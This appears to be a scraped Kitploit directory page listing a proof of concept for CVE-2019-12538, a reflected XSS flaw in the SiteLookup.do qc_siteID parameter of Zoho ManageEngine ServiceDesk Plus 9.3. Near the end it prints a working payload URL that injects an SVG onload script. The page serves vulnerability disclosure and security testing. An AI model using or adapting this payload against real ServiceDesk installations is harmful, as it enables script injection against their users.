Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

Tool Directory

Categories

View all categories

Loading categories

CVE-2019-12538 — Proof-of-concept for CVE-2019-12538: XSS vulnerability in Zoho ManageEngine ServiceDesk Plus 9.3 via SiteLookup.do qc_siteID parameter. Includes payload for security testing. | Kitploit

Tools/

GitHub/tarantula-team/cve-2019-12538

Vulnerability Analysis Exploitation Web Application Exploitation Web Security Penetration Testing

tarantula-team/cve-2019-12538

CVE-2019-12538

Proof-of-concept for CVE-2019-12538: XSS vulnerability in Zoho ManageEngine ServiceDesk Plus 9.3 via SiteLookup.do qc_siteID parameter. Includes payload for security testing.

View Repository

26 years ago

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

CVE-2019-12538 Zoho ManageEngine ServiceDesk Plus 9.3 XSS vulnerability in SiteLookup.do

Information Description: An issue was discovered in Zoho ManageEngine ServiceDesk Plus 9.3. There is XSS via the SiteLookup.do qc_siteID parameter.

Author: Concobe of Tarantula Team - VinCSS (a member of Vingroup)

Payload

domain/SiteLookup.do?configID=0&SELECTSITE=qc_siteID"/><svg onload=alert('XSS')>&userConfigID=1&SELECTEDSITEID=1&SELECTEDSITENAME=

Download Tool